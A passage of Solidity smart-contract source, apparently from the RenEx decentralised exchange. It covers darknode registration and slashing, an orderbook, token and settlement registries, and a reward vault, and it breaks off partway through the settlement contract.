address public constant NULL = 0x0;
struct Node {
bool inList;
address previous;
address next;
}
struct List {
mapping (address => Node) list;
}
function insertBefore(List storage self, address target, address newNode) internal {
require(!isInList(self, newNode), "already in list");
require(isInList(self, target) || target == NULL, "not in list");
address prev = self.list[target].previous;
self.list[newNode].next = target;
self.list[newNode].previous = prev;
self.list[target].previous = newNode;
self.list[prev].next = newNode;
self.list[newNode].inList = true;
}
function insertAfter(List storage self, address target, address newNode) internal {
require(!isInList(self, newNode), "already in list");
require(isInList(self, target) || target == NULL, "not in list");
address n = self.list[target].next;
self.list[newNode].previous = target;
self.list[newNode].next = n;
self.list[target].next = newNode;
self.list[n].previous = newNode;
self.list[newNode].inList = true;
}
function remove(List storage self, address node) internal {
require(isInList(self, node), "not in list");
if (node == NULL) {
return;
}
address p = self.list[node].previous;
address n = self.list[node].next;
self.list[p].next = n;
self.list[n].previous = p;
self.list[node].inList = false;
delete self.list[node];
}
function prepend(List storage self, address node) internal {
insertBefore(self, begin(self), node);
}
function append(List storage self, address node) internal {
insertAfter(self, end(self), node);
}
function swap(List storage self, address left, address right) internal {
address previousRight = self.list[right].previous;
remove(self, right);
insertAfter(self, left, right);
remove(self, left);
insertAfter(self, previousRight, left);
}
function isInList(List storage self, address node) internal view returns (bool) {
return self.list[node].inList;
}
function begin(List storage self) internal view returns (address) {
return self.list[NULL].next;
}
function end(List storage self) internal view returns (address) {
return self.list[NULL].previous;
}
function next(List storage self, address node) internal view returns (address) {
require(isInList(self, node), "not in list");
return self.list[node].next;
}
function previous(List storage self, address node) internal view returns (address) {
require(isInList(self, node), "not in list");
return self.list[node].previous;
}
}
contract DarknodeRegistryStore is Claimable {
using SafeMath for uint256;
string public VERSION;
struct Darknode {
address owner;
uint256 bond;
uint256 registeredAt;
uint256 deregisteredAt;
bytes publicKey;
}
mapping(address => Darknode) private darknodeRegistry;
LinkedList.List private darknodes;
RepublicToken public ren;
constructor(
string _VERSION,
RepublicToken _ren
) public {
VERSION = _VERSION;
ren = _ren;
}
function appendDarknode(
address _darknodeID,
address _darknodeOwner,
uint256 _bond,
bytes _publicKey,
uint256 _registeredAt,
uint256 _deregisteredAt
) external onlyOwner {
Darknode memory darknode = Darknode({
owner: _darknodeOwner,
bond: _bond,
publicKey: _publicKey,
registeredAt: _registeredAt,
deregisteredAt: _deregisteredAt
});
darknodeRegistry[_darknodeID] = darknode;
LinkedList.append(darknodes, _darknodeID);
}
function begin() external view onlyOwner returns(address) {
return LinkedList.begin(darknodes);
}
function next(address darknodeID) external view onlyOwner returns(address) {
return LinkedList.next(darknodes, darknodeID);
}
function removeDarknode(address darknodeID) external onlyOwner {
uint256 bond = darknodeRegistry[darknodeID].bond;
delete darknodeRegistry[darknodeID];
LinkedList.remove(darknodes, darknodeID);
require(ren.transfer(owner, bond), "bond transfer failed");
}
function updateDarknodeBond(address darknodeID, uint256 decreasedBond) external onlyOwner {
uint256 previousBond = darknodeRegistry[darknodeID].bond;
require(decreasedBond < previousBond, "bond not decreased");
darknodeRegistry[darknodeID].bond = decreasedBond;
require(ren.transfer(owner, previousBond.sub(decreasedBond)), "bond transfer failed");
}
function updateDarknodeDeregisteredAt(address darknodeID, uint256 deregisteredAt) external onlyOwner {
darknodeRegistry[darknodeID].deregisteredAt = deregisteredAt;
}
function darknodeOwner(address darknodeID) external view onlyOwner returns (address) {
return darknodeRegistry[darknodeID].owner;
}
function darknodeBond(address darknodeID) external view onlyOwner returns (uint256) {
return darknodeRegistry[darknodeID].bond;
}
function darknodeRegisteredAt(address darknodeID) external view onlyOwner returns (uint256) {
return darknodeRegistry[darknodeID].registeredAt;
}
function darknodeDeregisteredAt(address darknodeID) external view onlyOwner returns (uint256) {
return darknodeRegistry[darknodeID].deregisteredAt;
}
function darknodePublicKey(address darknodeID) external view onlyOwner returns (bytes) {
return darknodeRegistry[darknodeID].publicKey;
}
}
contract DarknodeRegistry is Ownable {
using SafeMath for uint256;
string public VERSION;
struct Epoch {
uint256 epochhash;
uint256 blocknumber;
}
uint256 public numDarknodes;
uint256 public numDarknodesNextEpoch;
uint256 public numDarknodesPreviousEpoch;
uint256 public minimumBond;
uint256 public minimumPodSize;
uint256 public minimumEpochInterval;
address public slasher;
uint256 public nextMinimumBond;
uint256 public nextMinimumPodSize;
uint256 public nextMinimumEpochInterval;
address public nextSlasher;
Epoch public currentEpoch;
Epoch public previousEpoch;
RepublicToken public ren;
DarknodeRegistryStore public store;
event LogDarknodeRegistered(address _darknodeID, uint256 _bond);
event LogDarknodeDeregistered(address _darknodeID);
event LogDarknodeOwnerRefunded(address _owner, uint256 _amount);
event LogNewEpoch();
event LogMinimumBondUpdated(uint256 previousMinimumBond, uint256 nextMinimumBond);
event LogMinimumPodSizeUpdated(uint256 previousMinimumPodSize, uint256 nextMinimumPodSize);
event LogMinimumEpochIntervalUpdated(uint256 previousMinimumEpochInterval, uint256 nextMinimumEpochInterval);
event LogSlasherUpdated(address previousSlasher, address nextSlasher);
modifier onlyDarknodeOwner(address _darknodeID) {
require(store.darknodeOwner(_darknodeID) == msg.sender, "must be darknode owner");
_;
}
modifier onlyRefunded(address _darknodeID) {
require(isRefunded(_darknodeID), "must be refunded or never registered");
_;
}
modifier onlyRefundable(address _darknodeID) {
require(isRefundable(_darknodeID), "must be deregistered for at least one epoch");
_;
}
modifier onlyDeregisterable(address _darknodeID) {
require(isDeregisterable(_darknodeID), "must be deregisterable");
_;
}
modifier onlySlasher() {
require(slasher == msg.sender, "must be slasher");
_;
}
constructor(
string _VERSION,
RepublicToken _renAddress,
DarknodeRegistryStore _storeAddress,
uint256 _minimumBond,
uint256 _minimumPodSize,
uint256 _minimumEpochInterval
) public {
VERSION = _VERSION;
store = _storeAddress;
ren = _renAddress;
minimumBond = _minimumBond;
nextMinimumBond = minimumBond;
minimumPodSize = _minimumPodSize;
nextMinimumPodSize = minimumPodSize;
minimumEpochInterval = _minimumEpochInterval;
nextMinimumEpochInterval = minimumEpochInterval;
currentEpoch = Epoch({
epochhash: uint256(blockhash(block.number - 1)),
blocknumber: block.number
});
numDarknodes = 0;
numDarknodesNextEpoch = 0;
numDarknodesPreviousEpoch = 0;
}
function register(address _darknodeID, bytes _publicKey) external onlyRefunded(_darknodeID) {
uint256 bond = minimumBond;
require(ren.transferFrom(msg.sender, store, bond), "bond transfer failed");
store.appendDarknode(
_darknodeID,
msg.sender,
bond,
_publicKey,
currentEpoch.blocknumber.add(minimumEpochInterval),
0
);
numDarknodesNextEpoch = numDarknodesNextEpoch.add(1);
emit LogDarknodeRegistered(_darknodeID, bond);
}
function deregister(address _darknodeID) external onlyDeregisterable(_darknodeID) onlyDarknodeOwner(_darknodeID) {
deregisterDarknode(_darknodeID);
}
function epoch() external {
if (previousEpoch.blocknumber == 0) {
require(msg.sender == owner, "not authorized (first epochs)");
}
require(block.number >= currentEpoch.blocknumber.add(minimumEpochInterval), "epoch interval has not passed");
uint256 epochhash = uint256(blockhash(block.number - 1));
previousEpoch = currentEpoch;
currentEpoch = Epoch({
epochhash: epochhash,
blocknumber: block.number
});
numDarknodesPreviousEpoch = numDarknodes;
numDarknodes = numDarknodesNextEpoch;
if (nextMinimumBond != minimumBond) {
minimumBond = nextMinimumBond;
emit LogMinimumBondUpdated(minimumBond, nextMinimumBond);
}
if (nextMinimumPodSize != minimumPodSize) {
minimumPodSize = nextMinimumPodSize;
emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize);
}
if (nextMinimumEpochInterval != minimumEpochInterval) {
minimumEpochInterval = nextMinimumEpochInterval;
emit LogMinimumEpochIntervalUpdated(minimumEpochInterval, nextMinimumEpochInterval);
}
if (nextSlasher != slasher) {
slasher = nextSlasher;
emit LogSlasherUpdated(slasher, nextSlasher);
}
emit LogNewEpoch();
}
function transferStoreOwnership(address _newOwner) external onlyOwner {
store.transferOwnership(_newOwner);
}
function claimStoreOwnership() external onlyOwner {
store.claimOwnership();
}
function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner {
nextMinimumBond = _nextMinimumBond;
}
function updateMinimumPodSize(uint256 _nextMinimumPodSize) external onlyOwner {
nextMinimumPodSize = _nextMinimumPodSize;
}
function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval) external onlyOwner {
nextMinimumEpochInterval = _nextMinimumEpochInterval;
}
function updateSlasher(address _slasher) external onlyOwner {
require(_slasher != 0x0, "invalid slasher address");
nextSlasher = _slasher;
}
function slash(address _prover, address _challenger1, address _challenger2)
external
onlySlasher
{
uint256 penalty = store.darknodeBond(_prover) / 2;
uint256 reward = penalty / 4;
store.updateDarknodeBond(_prover, penalty);
if (isDeregisterable(_prover)) {
deregisterDarknode(_prover);
}
require(ren.transfer(store.darknodeOwner(_challenger1), reward), "reward transfer failed");
require(ren.transfer(store.darknodeOwner(_challenger2), reward), "reward transfer failed");
}
function refund(address _darknodeID) external onlyRefundable(_darknodeID) {
address darknodeOwner = store.darknodeOwner(_darknodeID);
uint256 amount = store.darknodeBond(_darknodeID);
store.removeDarknode(_darknodeID);
require(ren.transfer(darknodeOwner, amount), "bond transfer failed");
emit LogDarknodeOwnerRefunded(darknodeOwner, amount);
}
function getDarknodeOwner(address _darknodeID) external view returns (address) {
return store.darknodeOwner(_darknodeID);
}
function getDarknodeBond(address _darknodeID) external view returns (uint256) {
return store.darknodeBond(_darknodeID);
}
function getDarknodePublicKey(address _darknodeID) external view returns (bytes) {
return store.darknodePublicKey(_darknodeID);
}
function getDarknodes(address _start, uint256 _count) external view returns (address[]) {
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
return getDarknodesFromEpochs(_start, count, false);
}
function getPreviousDarknodes(address _start, uint256 _count) external view returns (address[]) {
uint256 count = _count;
if (count == 0) {
count = numDarknodesPreviousEpoch;
}
return getDarknodesFromEpochs(_start, count, true);
}
function isPendingRegistration(address _darknodeID) external view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
return registeredAt != 0 && registeredAt > currentEpoch.blocknumber;
}
function isPendingDeregistration(address _darknodeID) external view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocknumber;
}
function isDeregistered(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return deregisteredAt != 0 && deregisteredAt <= currentEpoch.blocknumber;
}
function isDeregisterable(address _darknodeID) public view returns (bool) {
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return isRegistered(_darknodeID) && deregisteredAt == 0;
}
function isRefunded(address _darknodeID) public view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
return registeredAt == 0 && deregisteredAt == 0;
}
function isRefundable(address _darknodeID) public view returns (bool) {
return isDeregistered(_darknodeID) && store.darknodeDeregisteredAt(_darknodeID) <= previousEpoch.blocknumber;
}
function isRegistered(address _darknodeID) public view returns (bool) {
return isRegisteredInEpoch(_darknodeID, currentEpoch);
}
function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) {
return isRegisteredInEpoch(_darknodeID, previousEpoch);
}
function isRegisteredInEpoch(address _darknodeID, Epoch _epoch) private view returns (bool) {
uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID);
uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID);
bool registered = registeredAt != 0 && registeredAt <= _epoch.blocknumber;
bool notDeregistered = deregisteredAt == 0 || deregisteredAt > _epoch.blocknumber;
return registered && notDeregistered;
}
function getDarknodesFromEpochs(address _start, uint256 _count, bool _usePreviousEpoch) private view returns (address[]) {
uint256 count = _count;
if (count == 0) {
count = numDarknodes;
}
address[] memory nodes = new address[](count);
uint256 n = 0;
address next = _start;
if (next == 0x0) {
next = store.begin();
}
while (n < count) {
if (next == 0x0) {
break;
}
bool includeNext;
if (_usePreviousEpoch) {
includeNext = isRegisteredInPreviousEpoch(next);
} else {
includeNext = isRegistered(next);
}
if (!includeNext) {
next = store.next(next);
continue;
}
nodes[n] = next;
next = store.next(next);
n += 1;
}
return nodes;
}
function deregisterDarknode(address _darknodeID) private {
store.updateDarknodeDeregisteredAt(_darknodeID, currentEpoch.blocknumber.add(minimumEpochInterval));
numDarknodesNextEpoch = numDarknodesNextEpoch.sub(1);
emit LogDarknodeDeregistered(_darknodeID);
}
}
interface BrokerVerifier {
function verifyOpenSignature(
address _trader,
bytes _signature,
bytes32 _orderID
) external returns (bool);
}
interface Settlement {
function submitOrder(
bytes _details,
uint64 _settlementID,
uint64 _tokens,
uint256 _price,
uint256 _volume,
uint256 _minimumVolume
) external;
function submissionGasPriceLimit() external view returns (uint256);
function settle(
bytes32 _buyID,
bytes32 _sellID
) external;
function orderStatus(bytes32 _orderID) external view returns (uint8);
}
contract SettlementRegistry is Ownable {
string public VERSION;
struct SettlementDetails {
bool registered;
Settlement settlementContract;
BrokerVerifier brokerVerifierContract;
}
mapping(uint64 => SettlementDetails) public settlementDetails;
event LogSettlementRegistered(uint64 settlementID, Settlement settlementContract, BrokerVerifier brokerVerifierContract);
event LogSettlementUpdated(uint64 settlementID, Settlement settlementContract, BrokerVerifier brokerVerifierContract);
event LogSettlementDeregistered(uint64 settlementID);
constructor(string _VERSION) public {
VERSION = _VERSION;
}
function settlementRegistration(uint64 _settlementID) external view returns (bool) {
return settlementDetails[_settlementID].registered;
}
function settlementContract(uint64 _settlementID) external view returns (Settlement) {
return settlementDetails[_settlementID].settlementContract;
}
function brokerVerifierContract(uint64 _settlementID) external view returns (BrokerVerifier) {
return settlementDetails[_settlementID].brokerVerifierContract;
}
function registerSettlement(uint64 _settlementID, Settlement _settlementContract, BrokerVerifier _brokerVerifierContract) public onlyOwner {
bool alreadyRegistered = settlementDetails[_settlementID].registered;
settlementDetails[_settlementID] = SettlementDetails({
registered: true,
settlementContract: _settlementContract,
brokerVerifierContract: _brokerVerifierContract
});
if (alreadyRegistered) {
emit LogSettlementUpdated(_settlementID, _settlementContract, _brokerVerifierContract);
} else {
emit LogSettlementRegistered(_settlementID, _settlementContract, _brokerVerifierContract);
}
}
function deregisterSettlement(uint64 _settlementID) external onlyOwner {
require(settlementDetails[_settlementID].registered, "not registered");
delete settlementDetails[_settlementID];
emit LogSettlementDeregistered(_settlementID);
}
}
library ECRecovery {
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
return keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)
);
}
}
library Utils {
function uintToBytes(uint256 _v) internal pure returns (bytes) {
uint256 v = _v;
if (v == 0) {
return "0";
}
uint256 digits = 0;
uint256 v2 = v;
while (v2 > 0) {
v2 /= 10;
digits += 1;
}
bytes memory result = new bytes(digits);
for (uint256 i = 0; i < digits; i++) {
result[digits - i - 1] = bytes1((v % 10) + 48);
v /= 10;
}
return result;
}
function addr(bytes _hash, bytes _signature) internal pure returns (address) {
bytes memory prefix = "\x19Ethereum Signed Message:\n";
bytes memory encoded = abi.encodePacked(prefix, uintToBytes(_hash.length), _hash);
bytes32 prefixedHash = keccak256(encoded);
return ECRecovery.recover(prefixedHash, _signature);
}
}
contract Orderbook is Ownable {
using SafeMath for uint256;
string public VERSION;
enum OrderState {Undefined, Open, Confirmed, Canceled}
struct Order {
OrderState state;
address trader;
address confirmer;
uint64 settlementID;
uint256 priority;
uint256 blockNumber;
bytes32 matchedOrder;
}
DarknodeRegistry public darknodeRegistry;
SettlementRegistry public settlementRegistry;
bytes32[] private orderbook;
mapping(bytes32 => Order) public orders;
event LogFeeUpdated(uint256 previousFee, uint256 nextFee);
event LogDarknodeRegistryUpdated(DarknodeRegistry previousDarknodeRegistry, DarknodeRegistry nextDarknodeRegistry);
modifier onlyDarknode(address _sender) {
require(darknodeRegistry.isRegistered(_sender), "must be registered darknode");
_;
}
constructor(
string _VERSION,
DarknodeRegistry _darknodeRegistry,
SettlementRegistry _settlementRegistry
) public {
VERSION = _VERSION;
darknodeRegistry = _darknodeRegistry;
settlementRegistry = _settlementRegistry;
}
function updateDarknodeRegistry(DarknodeRegistry _newDarknodeRegistry) external onlyOwner {
require(bytes(_newDarknodeRegistry.VERSION()).length > 0, "invalid darknode registry contract");
emit LogDarknodeRegistryUpdated(darknodeRegistry, _newDarknodeRegistry);
darknodeRegistry = _newDarknodeRegistry;
}
function openOrder(uint64 _settlementID, bytes _signature, bytes32 _orderID) external {
require(orders[_orderID].state == OrderState.Undefined, "invalid order status");
address trader = msg.sender;
require(settlementRegistry.settlementRegistration(_settlementID), "settlement not registered");
BrokerVerifier brokerVerifier = settlementRegistry.brokerVerifierContract(_settlementID);
require(brokerVerifier.verifyOpenSignature(trader, _signature, _orderID), "invalid broker signature");
orders[_orderID] = Order({
state: OrderState.Open,
trader: trader,
confirmer: 0x0,
settlementID: _settlementID,
priority: orderbook.length + 1,
blockNumber: block.number,
matchedOrder: 0x0
});
orderbook.push(_orderID);
}
function confirmOrder(bytes32 _orderID, bytes32 _matchedOrderID) external onlyDarknode(msg.sender) {
require(orders[_orderID].state == OrderState.Open, "invalid order status");
require(orders[_matchedOrderID].state == OrderState.Open, "invalid order status");
orders[_orderID].state = OrderState.Confirmed;
orders[_orderID].confirmer = msg.sender;
orders[_orderID].matchedOrder = _matchedOrderID;
orders[_orderID].blockNumber = block.number;
orders[_matchedOrderID].state = OrderState.Confirmed;
orders[_matchedOrderID].confirmer = msg.sender;
orders[_matchedOrderID].matchedOrder = _orderID;
orders[_matchedOrderID].blockNumber = block.number;
}
function cancelOrder(bytes32 _orderID) external {
require(orders[_orderID].state == OrderState.Open, "invalid order state");
address brokerVerifier = settlementRegistry.brokerVerifierContract(orders[_orderID].settlementID);
require(msg.sender == orders[_orderID].trader || msg.sender == brokerVerifier, "not authorized");
orders[_orderID].state = OrderState.Canceled;
orders[_orderID].blockNumber = block.number;
}
function orderState(bytes32 _orderID) external view returns (OrderState) {
return orders[_orderID].state;
}
function orderMatch(bytes32 _orderID) external view returns (bytes32) {
return orders[_orderID].matchedOrder;
}
function orderPriority(bytes32 _orderID) external view returns (uint256) {
return orders[_orderID].priority;
}
function orderTrader(bytes32 _orderID) external view returns (address) {
return orders[_orderID].trader;
}
function orderConfirmer(bytes32 _orderID) external view returns (address) {
return orders[_orderID].confirmer;
}
function orderBlockNumber(bytes32 _orderID) external view returns (uint256) {
return orders[_orderID].blockNumber;
}
function orderDepth(bytes32 _orderID) external view returns (uint256) {
if (orders[_orderID].blockNumber == 0) {
return 0;
}
return (block.number.sub(orders[_orderID].blockNumber));
}
function ordersCount() external view returns (uint256) {
return orderbook.length;
}
function getOrders(uint256 _offset, uint256 _limit) external view returns (bytes32[], address[], uint8[]) {
if (_offset >= orderbook.length) {
return;
}
uint256 limit = _limit;
if (_offset.add(limit) > orderbook.length) {
limit = orderbook.length - _offset;
}
bytes32[] memory orderIDs = new bytes32[](limit);
address[] memory traderAddresses = new address[](limit);
uint8[] memory states = new uint8[](limit);
for (uint256 i = 0; i < limit; i++) {
bytes32 order = orderbook[i + _offset];
orderIDs[i] = order;
traderAddresses[i] = orders[order].trader;
states[i] = uint8(orders[order].state);
}
return (orderIDs, traderAddresses, states);
}
}
library SettlementUtils {
struct OrderDetails {
uint64 settlementID;
uint64 tokens;
uint256 price;
uint256 volume;
uint256 minimumVolume;
}
function hashOrder(bytes details, OrderDetails memory order) internal pure returns (bytes32) {
return keccak256(
abi.encodePacked(
details,
order.settlementID,
order.tokens,
order.price,
order.volume,
order.minimumVolume
)
);
}
function verifyMatchDetails(OrderDetails memory _buy, OrderDetails memory _sell) internal pure returns (bool) {
if (!verifyTokens(_buy.tokens, _sell.tokens)) {
return false;
}
if (_buy.price < _sell.price) {
return false;
}
if (_buy.volume < _sell.minimumVolume) {
return false;
}
if (_sell.volume < _buy.minimumVolume) {
return false;
}
if (_buy.settlementID != _sell.settlementID) {
return false;
}
return true;
}
function verifyTokens(uint64 _buyTokens, uint64 _sellToken) internal pure returns (bool) {
return ((
uint32(_buyTokens) == uint32(_sellToken >> 32)) && (
uint32(_sellToken) == uint32(_buyTokens >> 32)) && (
uint32(_buyTokens >> 32) <= uint32(_buyTokens))
);
}
}
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
library CompatibleERC20Functions {
using SafeMath for uint256;
function safeTransfer(address token, address to, uint256 amount) internal {
CompatibleERC20(token).transfer(to, amount);
require(previousReturnValue(), "transfer failed");
}
function safeTransferFrom(address token, address from, address to, uint256 amount) internal {
CompatibleERC20(token).transferFrom(from, to, amount);
require(previousReturnValue(), "transferFrom failed");
}
function safeApprove(address token, address spender, uint256 amount) internal {
CompatibleERC20(token).approve(spender, amount);
require(previousReturnValue(), "approve failed");
}
function safeTransferFromWithFees(address token, address from, address to, uint256 amount) internal returns (uint256) {
uint256 balancesBefore = CompatibleERC20(token).balanceOf(to);
CompatibleERC20(token).transferFrom(from, to, amount);
require(previousReturnValue(), "transferFrom failed");
uint256 balancesAfter = CompatibleERC20(token).balanceOf(to);
return Math.min256(amount, balancesAfter.sub(balancesBefore));
}
function previousReturnValue() private pure returns (bool)
{
uint256 returnData = 0;
assembly {
switch returndatasize
case 0 {
returnData := 1
}
case 32 {
returndatacopy(0, 0, 32)
returnData := mload(0)
}
default { }
}
return returnData != 0;
}
}
interface CompatibleERC20 {
function transfer(address to, uint256 value) external;
function transferFrom(address from, address to, uint256 value) external;
function approve(address spender, uint256 value) external;
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DarknodeRewardVault is Ownable {
using SafeMath for uint256;
using CompatibleERC20Functions for CompatibleERC20;
string public VERSION;
address constant public ETHEREUM = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
DarknodeRegistry public darknodeRegistry;
mapping(address => mapping(address => uint256)) public darknodeBalances;
event LogDarknodeRegistryUpdated(DarknodeRegistry previousDarknodeRegistry, DarknodeRegistry nextDarknodeRegistry);
constructor(string _VERSION, DarknodeRegistry _darknodeRegistry) public {
VERSION = _VERSION;
darknodeRegistry = _darknodeRegistry;
}
function updateDarknodeRegistry(DarknodeRegistry _newDarknodeRegistry) public onlyOwner {
require(bytes(_newDarknodeRegistry.VERSION()).length > 0, "invalid darknode registry contract");
emit LogDarknodeRegistryUpdated(darknodeRegistry, _newDarknodeRegistry);
darknodeRegistry = _newDarknodeRegistry;
}
function deposit(address _darknode, ERC20 _token, uint256 _value) public payable {
uint256 receivedValue = _value;
if (_token == ETHEREUM) {
require(msg.value == _value, "mismatched ether value");
} else {
require(msg.value == 0, "unexpected ether value");
receivedValue = CompatibleERC20(_token).safeTransferFromWithFees(msg.sender, this, _value);
}
darknodeBalances[_darknode][_token] = darknodeBalances[_darknode][_token].add(receivedValue);
}
function withdraw(address _darknode, ERC20 _token) public {
address darknodeOwner = darknodeRegistry.getDarknodeOwner(_darknode);
require(darknodeOwner != 0x0, "invalid darknode owner");
uint256 value = darknodeBalances[_darknode][_token];
darknodeBalances[_darknode][_token] = 0;
if (_token == ETHEREUM) {
darknodeOwner.transfer(value);
} else {
CompatibleERC20(_token).safeTransfer(darknodeOwner, value);
}
}
}
contract RenExTokens is Ownable {
string public VERSION;
struct TokenDetails {
address addr;
uint8 decimals;
bool registered;
}
mapping(uint32 => TokenDetails) public tokens;
mapping(uint32 => bool) private detailsSubmitted;
event LogTokenRegistered(uint32 tokenCode, address tokenAddress, uint8 tokenDecimals);
event LogTokenDeregistered(uint32 tokenCode);
constructor(string _VERSION) public {
VERSION = _VERSION;
}
function registerToken(uint32 _tokenCode, address _tokenAddress, uint8 _tokenDecimals) public onlyOwner {
require(!tokens[_tokenCode].registered, "already registered");
if (detailsSubmitted[_tokenCode]) {
require(tokens[_tokenCode].addr == _tokenAddress, "different address");
require(tokens[_tokenCode].decimals == _tokenDecimals, "different decimals");
} else {
detailsSubmitted[_tokenCode] = true;
}
tokens[_tokenCode] = TokenDetails({
addr: _tokenAddress,
decimals: _tokenDecimals,
registered: true
});
emit LogTokenRegistered(_tokenCode, _tokenAddress, _tokenDecimals);
}
function deregisterToken(uint32 _tokenCode) external onlyOwner {
require(tokens[_tokenCode].registered, "not registered");
tokens[_tokenCode].registered = false;
emit LogTokenDeregistered(_tokenCode);
}
}
contract RenExSettlement is Ownable {
using SafeMath for uint256;
string public VERSION;
uint256 constant public DARKNODE_FEES_NUMERATOR = 2;
uint256 constant public DARKNODE_FEES_DENOMINATOR = 1000;
uint32 constant public RENEX_SETTLEMENT_ID = 1;
uint32 constant public RENEX_ATOMIC_SETTLEMENT_ID = 2;
int16 constant private PRICE_OFFSET = 12;
int16 constant private VOLUME_OFFSET = 12;
Orderbook public orderbookContract;
RenExTokens public renExTokensContract;
RenExBalances public renExBalancesContract;
address public slasherAddress;
uint256 public submissionGasPriceLimit;
enum OrderStatus {None, Submitted, Settled, Slashed}
struct TokenPair {
RenExTokens.TokenDetails priorityToken;
RenExTokens.TokenDetails secondaryToken;
}
struct ValueWithFees {
uint256 value;
uint256 fees;
}
struct Fraction {
uint256 numerator;
uint256 denominator;
}
struct SettlementDetails {
uint256 leftVolume;
uint256 rightVolume;
uint256 leftTokenFee;
uint256 rightTokenFee;
address leftTokenAddress;
address rightTokenAddress;
}
event LogOrderbookUpdated(Orderbook previousOrderbook, Orderbook nextOrderbook);
event LogRenExTokensUpdated(RenExTokens previousRenExTokens, RenExTokens nextRenExTokens);
event LogRenExBalancesUpdated(RenExBalances previousRenExBalances, RenExBalances nextRenExBalances);
event LogSubmissionGasPriceLimitUpdated(uint256 previousSubmissionGasPriceLimit, uint256 nextSubmissionGasPriceLimit);
event LogSlasherUpdated(address previousSlasher, address nextSlasher);
mapping(bytes32 => SettlementUtils.OrderDetails) public orderDetails;
mapping(bytes32 => address) public orderSubmitter;
mapping(bytes32 => OrderStatus) public orderStatus;
mapping(bytes32 => mapping(bytes32 => uint256)) public matchTimestamp;
modifier withGasPriceLimit(uint256 _gasPriceLimit) {
require(tx.gasprice <= _gasPriceLimit, "gas price too high");
_;
}
modifier onlySlasher() {
require(msg.sender == slasherAddress, "unauthorized");
_;
}
constructor(
string _VERSION,
Orderbook _orderbookContract,
RenExTokens _renExTokensContract,
RenExBalances _renExBalancesContract,
address _slasherAddress,
uint256 _submissionGasPriceLimit
) public {
VERSION = _VERSION;
orderbookContract = _orderbookContract;
renExTokensContract = _renExTokensContract;
renExBalancesContract = _renExBalancesContract;
slasherAddress = _slasherAddress;
submissionGasPriceLimit = _submissionGasPriceLimit;
}
function updateOrderbook(Orderbook _newOrderbookContract) external onlyOwner {
require(bytes(_newOrderbookContract.VERSION()).length > 0, "invalid orderbook contract");
emit LogOrderbookUpdated(orderbookContract, _newOrderbookContract);
orderbookContract = _newOrderbookContract;
}
function updateRenExTokens(RenExTokens _newRenExTokensContract) external onlyOwner {
require(bytes(_newRenExTokensContract.VERSION()).length > 0, "invalid tokens contract");
emit LogRenExTokensUpdated(renExTokensContract, _newRenExTokensContract);
renExTokensContract = _newRenExTokensContract;
}
function updateRenExBalances(RenExBalances _newRenExBalancesContract) external onlyOwner {
require(bytes(_newRenExBalancesContract.VERSION()).length > 0, "invalid balances contract");
emit LogRenExBalancesUpdated(renExBalancesContract, _newRenExBalancesContract);
renExBalancesContract = _newRenExBalancesContract;
}
function updateSubmissionGasPriceLimit(uint256 _newSubmissionGasPriceLimit) external onlyOwner {
require(_newSubmissionGasPriceLimit >= 100000000, "invalid new submission gas price limit");
emit LogSubmissionGasPriceLimitUpdated(submissionGasPriceLimit, _newSubmissionGasPriceLimit);
submissionGasPriceLimit = _newSubmissionGasPriceLimit;
}
function updateSlasher(address _newSlasherAddress) external onlyOwner {
require(_newSlasherAddress != 0x0, "invalid slasher address");
emit LogSlasherUpdated(slasherAddress, _newSlasherAddress);
slasherAddress = _newSlasherAddress;
}
function submitOrder(
bytes _prefix,
uint64 _settlementID,
uint64 _tokens,
uint256 _price,
uint256 _volume,
uint256 _minimumVolume
) external withGasPriceLimit(submissionGasPriceLimit) {
SettlementUtils.OrderDetails memory order = SettlementUtils.OrderDetails({
settlementID: _settlementID,
tokens: _tokens,
price: _price,
volume: _volume,
minimumVolume: _minimumVolume
});
bytes32 orderID = SettlementUtils.hashOrder(_prefix, order);
require(orderStatus[orderID] == OrderStatus.None, "order already submitted");
require(orderbookContract.orderState(orderID) == Orderbook.OrderState.Confirmed, "unconfirmed order");
orderSubmitter[orderID] = msg.sender;
orderStatus[orderID] = OrderStatus.Submitted;
orderDetails[orderID] = order;
}
function settle(bytes32 _buyID, bytes32 _sellID) external {
require(orderStatus[_buyID] == OrderStatus.Submitted, "invalid buy status");
require(orderStatus[_sellID] == OrderStatus.Submitted, "invalid sell status");
require(
orderDetails[_buyID].settlementID == RENEX_ATOMIC_SETTLEMENT_ID ||
orderDetails[_buyID].settlementID == RENEX_SETTLEMENT_ID,
